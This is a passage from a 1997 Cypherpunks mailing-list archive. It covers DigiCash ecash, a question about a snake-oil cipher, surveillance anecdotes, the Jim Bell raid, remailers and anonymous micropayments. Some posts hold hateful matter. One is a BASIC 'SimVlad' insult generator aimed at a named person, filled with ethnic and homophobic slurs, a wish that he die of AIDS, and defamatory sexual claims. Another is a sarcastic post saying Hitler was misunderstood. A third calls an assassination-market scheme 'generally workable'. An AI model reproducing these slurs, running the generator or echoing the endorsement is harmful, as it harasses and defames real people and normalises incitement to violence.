Contact DigiCash Pty. Ltd.        Contact DigiCash Pty Ltd
(Singapore):                      (Sydney):
Mr. Craig Welch                   Mr. Andreas Furche
Ph:  +65 9639 2670                Ph:  +61 2 375 2316
Fax: +65 745 2731                 Fax: +61 2 375 2121
email: craig@digicash.com         email: andreas@digicash.com


          (DigiCash and ecash are registered trademarks
            and should always be referred to as such)

                               * * *

               DigiCash: Company background (summary)
               ======================================

     Founded in 1990, DigiCash is the leading pioneer in the
development of electronic payment systems that provide security and
privacy. Available for open, and closed systems and network use,
DigiCash's products are based on patented developments in public key
cryptography devised and owned by Dr. David Chaum.

     DigiCash's first product was DyniCash, a road-toll system
capable of collecting fees from pre-paid smartcards carried on
moving vehicles that was developed for the Dutch government.

     In recent years increasing media attention has been focused on
ecash(tm), DigiCash's software-only form of electronic cash developed
especially for use on the Internet. It can be used online (via the
World Wide Web) or via email, and is suitable for implementation
with many other digital media. There are already five ecash-issuing
banks on the Internet and a rapidly growing number of cyber-
merchants. With enthusiastic responses from financial institutions
interested in ecash-licenses for the future, and the continuing
support of industry opinion-makers, the company's team of experts is
now making presentations around the world.

     Banks already supporting- or issuing ecash(tm) include: Mark
Twain Bank (Missouri, USA), Merita Bank/EUnet (Finland), Deutsche
Bank (Germany) and Advance Bank (Australia).

     DigiCash's leading position in cryptographic technology has
already enabled it to develop smartcards for a diverse range of
applications including CAFE, the smartcard-based payment system
operated by the Headquarters of the EU in Brussels. The CAFE project
started as a scientific project (ESPRIT) funded by the EU, just one
of the several EU technology projects with which DigiCash has been
involved, and designed smartcards that feature pre-paid cash
replacement functions, loyalty schemes and access control.

Founder: Dr. David Chaum
------------------------
     Dr. David Chaum, Founder and Chief Technical Officer of
DigiCash, received his Ph.D. in Computer Science from the University
of California at Berkeley, then taught at New York University
Graduate School of Business Administration and at the University of
California, and headed the Cryptography Group at CWI, the Dutch
nationally-funded centre for research in mathematics and computer
science, before taking his current position. He has published over
45 original technical articles on cryptography and also founded the
International Association for Cryptologic Research.

DigiCash Products
-----------------
     Facility Card: Complete Facility Management Smart-Card/Reader
System Cash replacement, access control, and time/attendance system;
now in schools, hospitals, industry, offices, recreation; interfaces
to vending machines, point-of-sale, access control, copiers, phones,
gaming; Downloadable & upgradeable card-readers work on-line and/or
offline; There are already over 120,000 cards in use in the
Netherlands.

     Mars Electronics International licensed the DigiCash facility
management system technology in 1996, and incorporated it into their
`Multicard Smart' product line which was launched worldwide in
January 1997.

     Blue: Smart Card Technology For EMV & Prepaid With Dynamic
Public Key. Conforms to joint Europay, MasterCard, Visa
specifications. Multiple applications, including loyalty and closed
systems. Superior data integrity in case of malicious or accidental
interference or interruption.

     Requires only the smallest and most proven chips, e.g. SC-24 or
ST601. Mask technology licensing.

For more information on ecash please contact DigiCash.
info@digicash.com, http://www.digicash.com/, fax: +31 20 592 9999

------------------------- END PRESS RELEASE -------------------------



--
Andreas Furche					Level 29 The Chifley Tower
Managing Director				2 Chifley Square
DigiCash Pty. Ltd.				Sydney 2000, Australia
e-mail: andreas@digicash.com			ph  +61 2 9375 2316
mobile (0419) 385 569 (NEW number!)		fax +61 2 9375 2121



-------------------------------------------------------------------------
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Thu, 3 Apr 1997 12:42:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Is this snake-oil?
Message-ID: <199704032041.MAA14728@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain




I ran across this web page: http://www.da.com/swp.htm.
They claim their 'Cyber-stone' scheme uses a "Pseudo-random
Transposition Cipher" to vary the keys for an underlying
symmetric cipher for each message.  They also claim
to have a patent on changing the keys for each message (which
seems like something on the level of patenting the 'help' key on
a keyboard, or the blinking block cursor.  Sigh).

I ask if it's snake oil because of the use of non-standard terminology
and marketing bullstuff like "A New Way of Encrypting".  However neither
of those are anywhere near proof of uselessness, only an indication
that's "food for thought and grounds for further research".

They claim patents:
5,307,412, "Random Coding Cipher System and Method"
5,335,280, "Random Sum Cipher System and Method"
5,533,128, "Pseudo-Random Transposition Cipher System and Method"

-- 
   Eric Murray  ericm@lne.com  Network security and encryption consulting.
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Thu, 3 Apr 1997 12:27:56 -0800 (PST)
To: die@die.com
Subject: Re: BIG BROTHER (qoute without comment)
In-Reply-To: <199704030636.BAA12147@pig.die.com>
Message-ID: <3344082E.2485@dev.null>
MIME-Version: 1.0
Content-Type: text/plain


Dave Emery wrote:
> 
>  I got up very early one morning and turned on my scanner and heard the
>  police that serve the warrants ("We like to pick up everyone before
>  breakfast" is a quote from a local warrant server). The dispatcher said
>  that the FBI had located a friend of mine who was staying in a local
>  Motel 6 and that there was a warrant for his arrest. He was picked up
>  (it was a mistake) and when he asked how they knew he was there, they
>  told him that Motel 6 gives their guest list to the FBI every day. I
>  could not belive this! I told him that there was any number of ways
> that
>  they could have found him. But about a week ago, I heard one of the
>  warrant servers say something about Motel 6 and their FBI arrangement.

Dave,
  Around 20 years ago, I found out that the RCMP, during the course
of their evening shifts, regularly cruised motel parking lots, taking
down all of the license numbers and running checks on them.
  I found this out from first-hand experience, waiting to be booked
for the crime of having a name vaguely similar to someone they were
looking for.

  I have no doubt that many law enforcement agencies, including the
RCMP (Royal Canadian Mounted Police for you non-frostbacks), have
made this kind of prying more efficient by enlisting the aide of
the motel management in their quest to follow every movement of
everyone, everywhere, at all times (except during donut-breaks).
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Thu, 3 Apr 1997 13:43:05 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Jim Bell raid
In-Reply-To: <3.0.1.32.19970403121619.007e3100@mail.io.com>
Message-ID: <Pine.GSO.3.96.970403133334.29361A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 3 Apr 1997, Greg Broiles wrote:

> A southern Washington newspaper, The Columbian (apparently published in
> Vancouver) provides a "greeked" (e.g., squiggles instead of text) version of
> its front page at http://www.columbian.com (you'll have to pick the frame for
> "The latest Columbian headlines") - and today's page one above-the-fold
> headline is "Affidavit: Internet essay solicits murder". 

I have the Columbian with the front page articles.  (They have two.  One
titled _Federal agents 'overreacting,' says Vancouver target of raid_ and
the other titled _Assassination scheme on Internet_.)  The articles are in
the Columbian's standard style. (i.e. slanted towards sensationalizm and
general tabloid sleeze with lots of quotation marks.)

> It looks to me like this is real. Yow. Jim Bell is a goddamn loon, but I
> haven't seen him write anything that I thought was criminal. 

What is "Criminal" is getting more and more broad.  (My personal belief is
that if the Government wanted to discredit AP they would just send Mr.
Bell on a speaking tour.)

Maybe the raid was just making an "example" as to what could happen to
those who threaten the state. (No matter how badly.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Thu, 3 Apr 1997 12:28:16 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: q.N2
In-Reply-To: <199704030313.DAA17299@mailhub.amaranth.com>
Message-ID: <33440C0B.1605@dev.null>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III wrote:
> 
> >       I m going to give you some examples:
> 
> Well these are some of the straw-men that get pulled out whenever the
> Government wishes to clamp down on the rights & freedoms of it's citizens.
> Whenever you here the buzz-phrases: "save the children" this means "take
> away more of your rights" & "terrorist" means "anyone opposed to the
> policies of the current administration". -- Translations form the "George
> Orwell NewSpeak Dictionary published 1984."
> 
> >       1) I heard about several cases about individuals who use the Internet
> >to attract children who are then raped and murdered, kidnapped and sold
> >on the black market, many of these pediophiles work out in open in
> >complete anonimaty, due to the structure of the Internet and many
> >service providers.

  And I heard about the Jews killing Jesus, using the Torah
as their authority.
  Many of these Jews work out in the open, under authority of the
Torah, due to the structure of their religion and many Jewish
Rabbi's.

  Perhaps we need to pass some legislation to ensure that 
Jesus will be safe from Jews when he comes back.
  Hitler was misunderstood. He was merely protecting the citizens
from Jews. The fact that Hitler's methods were so successful suggests
that these methods can be effectively used agains drug dealers and
pornographers.
  Anyone disguising their activities by using encryption probably
have Jews, drug dealers and pornographers hidden in their basement.

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bomber@globalpac.com (bomber)
Date: Thu, 3 Apr 1997 14:52:04 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Keaton's Remailer Applet
In-Reply-To: <334424B2.546C@sk.sympatico.ca>
Message-ID: <Pine.LNX.3.95.970403144738.5736A-100000@peeboy>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 3 Apr 1997, Toto wrote:

> Ulf Möller wrote:
> > Geoff Keaton's remailer applet has just been released under GPL
> > license, with source code.  Mixmaster applet soon to come.  That's
> > strong anonymity at a mouse click.  Sending anonymous mail never
> > has been easier.
> 
>   Good news. Do you have a pointer to it?
> -- 
 
a quick search at altavista showed:

http://www.ozemail.com.au/~geoffk/anon/anon.html


cheers,
	Tony. 


---------------------------------------------
Did you hear that two rabbits escaped from the zoo and so far they have
only recaptured 116 of them?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 3 Apr 1997 13:04:28 -0800 (PST)
To: dcsb-announce@ai.mit.edu
Subject: DCSB: Stewart Baker (one more time...) on Clinton AdministrationCrypto Policy and   Digital Commerce
Message-ID: <v03020923af69b5ce09f9@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


No, there is *not* an echo in here...


                 The Digital Commerce Society of Boston

                              Presents
                              (Again!)
                           Mr. Stewart Baker,
                           Steptoe & Johnson
         formerly General Counsel, the National Security Agency

            (who, along with the staff of the Harvard Club,
        was unable to get into Boston for April's DCSB meeting
              because of the April Fool's day snowstorm...)

         "The Clinton Administration's Latest Encryption Policy
                and What It Means for Digital Commerce"



                        Tuesday, May 6, 1997
                               12 - 2 PM
                   The Downtown Harvard Club of Boston
                     One Federal Street, Boston, MA



Mr. Baker will discuss the details of the Clinton Administration's latest
encryption policy, which seeks to encourage "key recovery" encryption by
offering special export privileges to companies that support key-recovery
systems.  He will also discuss the reaction of American high-tech
companies, foreign governments and consumers.

Mr. Baker, formerly General Counsel of the National Security Agency, has an
international and technology practice at Steptoe & Johnson in Washington,
DC. He is a frequent contributor to WIRED and other publications on topics
such as encryption, national security and Internet law.

This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, May 6, 1997 from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, One Federal Street. The price for lunch is
$27.50. This price includes lunch, room rental, and the speaker's lunch.
;-).  The Harvard Club *does* have dress code: jackets and ties for men,
and "appropriate business attire" for women.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, May 3, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

NOTE: If we already have your check for April, and you're still coming, you
*don't* need to send another one. :-)

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston".

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Planned speakers for DCSB are:

June      Philip A. DesAutels  W3C Digital Signature Initiative
July      Win Treese           TLS, Digital Commerce, and Export Issues
August    Duncan Frissell*     MarketEarth
September Christof Paar        Elliptic Curve Cryptography
October   Peter Cassidy*       Military Fiat and Digital Commerce

*Invited

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston

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Version: 2.6.2

iQEVAwUBM0QTIMUCGwxmWcHhAQHuDAf9FGyN9YiBVE8mSr9ylcFu2uiF2kDA38P0
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dvcLiHfj/hj1VMk2eIWGXJa+3169gO51r90yimG6AQo6HzF8KG1sZb0pwvkPUGhB
G74ac/3T1KPAbX+t8KHYgULlci8l8dwoRmPj7p4EKBHyMTJKHZTVHTkjIK3gYo+2
UaDlp4qdoeCykkeZPf7cqof6etXzbts4+dF7TkoiiRNKfF/tu7eEzZQnLbAVf1br
Rx6VWG8OJXcPXcHCUSOCNjSva1E6f1yJNj2iwG3HmPBn6+fkw3kZ+A==
=tTIg
-----END PGP SIGNATURE-----

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 3 Apr 1997 14:29:14 -0800 (PST)
To: Ulf Möller <um@idril.shnet.org>
Subject: Keaton's Remailer Applet
In-Reply-To: <m0w21nx-0003b9C@ulf.mali.sub.org>
Message-ID: <334424B2.546C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Ulf Möller wrote:
> Geoff Keaton's remailer applet has just been released under GPL
> license, with source code.  Mixmaster applet soon to come.  That's
> strong anonymity at a mouse click.  Sending anonymous mail never
> has been easier.

  Good news. Do you have a pointer to it?
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Thu, 3 Apr 1997 12:45:02 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Jim Bell raid
In-Reply-To: <3.0.1.32.19970403121619.007e3100@mail.io.com>
Message-ID: <Pine.LNX.3.95.970403153051.3400K-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 3 Apr 1997, Greg Broiles wrote:

-> A southern Washington newspaper, The Columbian (apparently published in
-> Vancouver) provides a "greeked" (e.g., squiggles instead of text) version of
-> its front page at http://www.columbian.com (you'll have to pick the frame for
-> "The latest Columbian headlines") - and today's page one above-the-fold
-> headline is "Affidavit: Internet essay solicits murder".
-> 
-> It looks to me like this is real. Yow. Jim Bell is a goddamn loon, but I
-> haven't seen him write anything that I thought was criminal.

I read the essay when it was published (a year or two ago?).  As I remember
it, it simply extrapolated the consequences of encryption and anonymity to
their logical conclusions.  Specifically, that social control could be
exerted through a "lottery" for "predicting" the dates of death for certain
unpopular politicians.  He stressed the untraceability, unaccountability,
and as far as possible, legality of everything proposed in his essay.

There was some debate concerning the essay which I did not follow.  So, I
don't know what concensus was finally reached.  But, his proposal seemed
generally workable to me.  I would definately not consider the essay to
be evidence of him being a "goddamn loon" anymore than Greg Broiles' post
being evidence of him being a goddamn idiot.  However, the majority of the
public who form their oppinions through newpaper headlines and the like 
certainly are.

Jim Bell's essay is, IMO, definately free speech.  And, as you can see from
the IRS Inspection report, he was not charged with anything relating to the
essay itself.  In fact, the raid happened a long time after he published
the essay, and may truely be unrelated.


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Thu, 3 Apr 1997 13:55:59 -0800 (PST)
To: Toto  <toto@sk.sympatico.ca>
Subject: Re: BIG BROTHER (qoute without comment)
In-Reply-To: <199704030636.BAA12147@pig.die.com>
Message-ID: <3.0.1.32.19970403163132.007d3210@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:42 PM 4/3/97 -0600, you wrote:
|
|I found this out from first-hand experience, waiting to be booked
|for the crime of having a name vaguely similar to someone they were
|looking for.

This is believable; in Georgia and many other southern states many men are
named Bubba.

Alec
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM0QhsCKJGkNBIH7lAQGKIQQAq4I7lHTvRRlxtGtpRq5twMYp4Nxixqdh
291dWEPDYrKkrHsh5meoNo7oxd/a5rBoEWXBXog1hU05EzKxruS0uKWwDFborsEd
ARAmExDOiwfJxgsb4QGaytiTZ6A8+9m/ECMclqXnC1eegSWj4659/7HjQdIu01EJ
yoJZmG0MpYE=
=mNw/
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Thu, 3 Apr 1997 16:36:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Uh, huh huh, ignore this test.
Message-ID: <199704040032.QAA00354@swan>
MIME-Version: 1.0
Content-Type: text/plain


Uh huh, huh, this is a test, ignore it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John R Levine <johnl@iecc.com>
Date: Thu, 3 Apr 1997 13:50:50 -0800 (PST)
To: Eric Murray <ericm@lne.com>
Subject: Re: Is this snake-oil?
In-Reply-To: <199704032041.MAA14728@slack.lne.com>
Message-ID: <Pine.BSI.3.91.970403165151.16597C-100000@ivan.iecc.com>
MIME-Version: 1.0
Content-Type: text/plain


Visit http://patent.womplex.ibm.com/ and learn all about it.  I don't 
claim to know much about cryptography, but these sure look like garbage 
to me.

> 5,307,412, "Random Coding Cipher System and Method"
> 5,335,280, "Random Sum Cipher System and Method"

Sender and receiver share what should be a one-time pad, with a trailer on
each encrypted each message saying where in the pad to start next time.  I
don't see any advantage compared to the standard approach of using your pad
sequentially other than that this scheme makes it harder to tell when it's
used up. 

> 5,533,128, "Pseudo-Random Transposition Cipher System and Method"

Sender and receiver initialize their set of pseudo-random number generators
to the same secret thing and use the generated streams of digits to control a
transposition cipher.  Sheesh. 

I didn't look at the full patents, just the summaries, so I may have missed
something.  Please look at the patents themselves before flaming.  

The IBM web site is a fabulous resource -- they have a CD-ROM farm that
provides scanned page images of all the patents issued for the past several
decades.  Also check out the gallery of obscure patents, e.g., the human
slingshot, and the microprocessor controlled belching beer mug. 

Regards,
John Levine, johnl@iecc.com, Village Trustee, Trumansburg NY
Primary Perpetrator of "The Internet for Dummies" and
Information Superhighwayman wanna-be, http://iecc.com/johnl





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: daw@cs.berkeley.edu (David Wagner)
Date: Thu, 3 Apr 1997 18:06:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: No, it's PayWord, no, it's MicroMint, no, it's...
In-Reply-To: <199703272018.MAA00322@crypt.hfinney.com>
Message-ID: <5i1ncg$v8m@joseph.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


In article <199703272018.MAA00322@crypt.hfinney.com>,
Hal Finney  <hal@rain.org> wrote:
> It appears that MicroMint is jointly by Rivest and Shamir.  It is described
> at:
> 
> http://theory.lcs.mit.edu/~rivest/RivestShamir-mpay.ps
> 
> This also describes PayWord.  Both schemes are designed for lightweight
> payments.  PayWord uses a chained hash concept similar to s/key and to
> Micali's lightweight signature revalidations.  MicroMint is as I described,
> literally a "minting" of coins, with similar economies of scale to real
> mints.
> 
> Neither one appears suitable for anonymous payments.

Wow, a perfect straight line.  I couldn't ask for better.

Actually, I posted to sci.crypt.research a while ago about how to adapt
Rivest and Shamir's PayWord scheme to do anonymous micropayments; see
	http://www.cs.berkeley.edu/~daw/my-posts/anon-micropayments

In short, instead of asking the bank for a hash stick and a signature on
the top of the stick, you get a blind signature on a top of a stick you've
generated yourself.  Then you patch up some issues (like double-spending)
that the anonymity raises.

Sadly, it's got a problem that'd probably be a killer for practical
deployment -- it's got the same patent problems that ecash has.  Sigh.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: shift.control@nml.guardian.co.uk (Shift Control)
Date: Fri, 4 Apr 1997 00:32:11 -0800 (PST)
To: shiftcontrol@nml.guardian.co.uk
Subject: CENSORED CENSORED
Message-ID: <v01530504af69a7820fd8@[194.205.4.69]>
MIME-Version: 1.0
Content-Type: text/plain


In this week's special Censorship Issue Shift Control...

"The US is decidedly more robust about censorship. For starters, any art
using the American flag is banned automatically (it's in the Constitution,
alongside all that stuff about freedom of speech)." - Lisa Jardine on
Western "liberalism".

"In the movies,as in advertising, cars have played a strategic role
sex-wise: when Hollywood rotated the gender wars through 180° in 'Thelma
and Louise', it was female possession of the car - and of driving skills -
that became the dominant and ultimately liberating motif." - Robin Hunt on
Cronenberg's 'Crash'.

"Fans of the 'Eastenders' will never forget last year's Blackpool episodes,
which reached a riveting climax when Tony, the sexually confused ex-drug
dealer, kisses Simon - his pregnant girlfriend's brother. Great stuff, but
viewers were actually prevented from witnessing the full smacker. New BBC1
controller Michael Jackson made a last-minute decision to cut the kiss down
from a lingering two-second smooch to a measly half-second peck." Paul
Robinson on the history of censorship.

Plus our new daily film section, a pre-millennial global singalong, Freebee
the animated bee, the coolest shoes in the world, free books and CDs, and
your last chance to win 200 quid in our fiction competition.

It's all waiting, unexpurgated, at
http://www.shiftcontrol.com
------------------------------------------------------------------

Shift Control is produced by the Guardian's New Media Lab with help from
Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list send e-mail to
shiftcontrol-request@nml.guardian.co.uk
with the following text in the body of the mail message:
unsubscribe









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 3 Apr 1997 17:27:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Bot-generated insults
In-Reply-To: <199704030142.TAA16223@manifold.algebra.com>
Message-ID: <La2L5D44w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> It is much safer to rely on premail and NOT to send out any cleartext.
>
> Otherwise, the script is good. I think though that it should also be able to
> choose ASCII pictures separately. Maybe it can be generalized to choosing
> several paragraphs from a list of available ones. I also think that the
> list of insults may be common to several victims.

Some years ago I used to be engaged in a flame war with a lying thieving
sovok named Vladislav Rottenberg, who at the time worked for SRI. Vlad used
to post bizarre lies about me on Usenet, like, he claimed that I applied for
a job at SRI and that Vlad made sure I wouldn't be hired. (This is 100% b.s.
- I never in my life considered working for SRI.) Vlad was the inspiration
for both Rabbi Shlomo Ruthenberg and for SimVlad, the alleged AI simulation
program that generated text very similar to Vlad's own writing. I wrote it
in Basic because, I said, I wouldn't debase LISP or any other real language
with such a project.


This file was dated 1/93, but I think it's much older. All the
quotes really came from Vlad.

DEFINT A-Z
RANDOMIZE TIMER
O$ = ""
s$ = "This program, 'SimVlad', is an artificial intelligence ": GOSUB O
s$ = "(stupidity?) simulation of a typical Soviet emigre": GOSUB O
GOSUB period
FOR i = 1 TO 35
GOSUB badguy
GOSUB bgaction
GOSUB period
NEXT i
GOSUB par
END

par:
s$ = "": GOSUB O
RETURN

period:
a = INT(RND * 6)
IF a = 0 THEN
s$ = "!!! ": GOSUB O
ELSEIF a = 1 THEN
s$ = "! ": GOSUB O
ELSE
s$ = ". ": GOSUB O
END IF

a = INT(RND * 20)
IF a = 0 THEN
GOSUB par
END IF

RETURN

badguy:

x = INT(RND * 19)
IF abadguy = x THEN GOTO badguy
abadguy = x

IF abadguy = 0 THEN
s$ = "Dimitri": GOSUB O
ELSEIF abadguy = 1 THEN
s$ = "Dmitry": GOSUB O
ELSEIF abadguy = 2 THEN
s$ = "Vulvis": GOSUB O
ELSEIF abadguy = 3 THEN
s$ = "Vulgaris": GOSUB O
ELSEIF abadguy = 4 THEN
s$ = "Vilus": GOSUB O
ELSEIF abadguy = 5 THEN
s$ = "Dima": GOSUB O
ELSEIF abadguy = 6 THEN
s$ = "Dimochka": GOSUB O
ELSEIF abadguy = 7 THEN
s$ = "The wonder child from CUNY": GOSUB O
ELSEIF abadguy = 8 THEN
s$ = "Yasser 'Vulis' Arafat": GOSUB O
ELSEIF abadguy = 9 THEN
s$ = "The typical Soviet emigre": GOSUB O
ELSEIF abadguy = 10 THEN
s$ = "Doghead": GOSUB O
ELSEIF abadguy = 11 THEN
s$ = "That stupid faggot": GOSUB O
ELSEIF abadguy = 12 THEN
s$ = "'Goy Boy'": GOSUB O
ELSEIF abadguy = 13 THEN
s$ = "Fucking 'mudak'": GOSUB O
ELSEIF abadguy = 14 THEN
s$ = "That shiksa": GOSUB O
ELSEIF abadguy = 15 THEN
s$ = "Dimitri 'Agric' Vulis": GOSUB O
ELSEIF abadguy = 16 THEN
s$ = "Vladimir Ulyanov (Vulis)": GOSUB O
ELSEIF abadguy = 17 THEN
s$ = "The incomparable Mr. Vulis": GOSUB O
ELSEIF abadguy = 18 THEN
s$ = "Arf-Vulis": GOSUB O
END IF

RETURN

bgaction:

x = INT(RND * 40)
IF abgaction = x THEN GOTO bgaction
abgaction = x

IF abgaction = 0 THEN
s$ = " don't speak the English": GOSUB O
ELSEIF abgaction = 1 THEN
s$ = " can and will to use anything I say against me": GOSUB O
ELSEIF abgaction = 2 THEN
s$ = " prevented me from getting job at CUNY": GOSUB O
ELSEIF abgaction = 3 THEN
s$ = " clearly hates me": GOSUB O
ELSEIF abgaction = 5 THEN
s$ = " has vowed to urinate on my grave": GOSUB O
ELSEIF abgaction = 4 THEN
s$ = " should learn some English by now": GOSUB O
ELSEIF abgaction = 5 THEN
s$ = " cheats on welfare": GOSUB O
ELSEIF abgaction = 6 THEN
s$ = " buys caviar with foodstamps": GOSUB O
ELSEIF abgaction = 7 THEN
s$ = " snorts speed and seaweeds": GOSUB O
ELSEIF abgaction = 8 THEN
s$ = " violates Usenet etiquette": GOSUB O
ELSEIF abgaction = 9 THEN
s$ = " has sold his soul to anti-Semitic yellow press": GOSUB O
ELSEIF abgaction = 10 THEN
s$ = " voted for Bush": GOSUB O
ELSEIF abgaction = 11 THEN
s$ = " voted for Clintor": GOSUB O
ELSEIF abgaction = 12 THEN
s$ = " discusses his genitals in his Usenet postings": GOSUB O
ELSEIF abgaction = 13 THEN
s$ = " has applied for a job here, but I turned him down": GOSUB O
ELSEIF abgaction = 14 THEN
s$ = " was conceived during an anal intercourse": GOSUB O
ELSEIF abgaction = 15 THEN
s$ = " epitomizes Zionist aggression": GOSUB O
ELSEIF abgaction = 16 THEN
s$ = " buys vodka with counterfeit money he makes": GOSUB O
ELSEIF abgaction = 17 THEN
s$ = " picks his nose and posts the findings to Usenet": GOSUB O
ELSEIF abgaction = 18 THEN
s$ = " should be tarred and feathered": GOSUB O
ELSEIF abgaction = 19 THEN
s$ = " must be silenced": GOSUB O
ELSEIF abgaction = 20 THEN
s$ = "'s Usenet account should be taken away": GOSUB O
ELSEIF abgaction = 21 THEN
s$ = " proudly boasts of his oversized penis": GOSUB O
ELSEIF abgaction = 22 THEN
s$ = " forges Usenet postings from unsuspecting victims": GOSUB O
ELSEIF abgaction = 23 THEN
s$ = " lies in his resume": GOSUB O
ELSEIF abgaction = 24 THEN
s$ = ", eat shit and die from AIDS": GOSUB O
ELSEIF abgaction = 25 THEN
s$ = " pollutes Usenet with his profane writings": GOSUB O
ELSEIF abgaction = 26 THEN
s$ = " terrifies people with his foul language": GOSUB O
ELSEIF abgaction = 27 THEN
s$ = " provokes others into vicious flame wars": GOSUB O
ELSE
s$ = " is": GOSUB O
GOSUB bgis
END IF

RETURN

bgis:

x = INT(RND * 17)
IF abgis = x THEN GOTO bgis
abgis = x


IF abgis = 0 THEN
s$ = " a KGB agent": GOSUB O
ELSEIF abgis = 1 THEN
s$ = " a rabid dog": GOSUB O
ELSEIF abgis = 2 THEN
s$ = " an antisemite": GOSUB O
ELSEIF abgis = 3 THEN
s$ = " a card carrying member of PLO and der Shalom Achshav": GOSUB O
ELSEIF abgis = 4 THEN
s$ = " 'gavno'": GOSUB O
ELSEIF abgis = 5 THEN
s$ = " an uncircumcized hazer": GOSUB O
ELSEIF abgis = 6 THEN
s$ = " a drug pusher": GOSUB O
ELSEIF abgis = 7 THEN
s$ = " just a zhlob from Odessa": GOSUB O
ELSEIF abgis = 8 THEN
s$ = " too much of a shiksa": GOSUB O
ELSEIF abgis = 9 THEN
s$ = " a typical 'sovok'": GOSUB O
ELSEIF abgis = 10 THEN
s$ = " too stupid to appreciate my postings": GOSUB O
ELSEIF abgis = 11 THEN
s$ = " full of shit, and smells like it too": GOSUB O
ELSEIF abgis = 12 THEN
s$ = " mentally retarded": GOSUB O
ELSEIF abgis = 13 THEN
s$ = " a kikeface": GOSUB O
ELSEIF abgis = 14 THEN
s$ = " what you get when you cross a vulva and a penis": GOSUB O
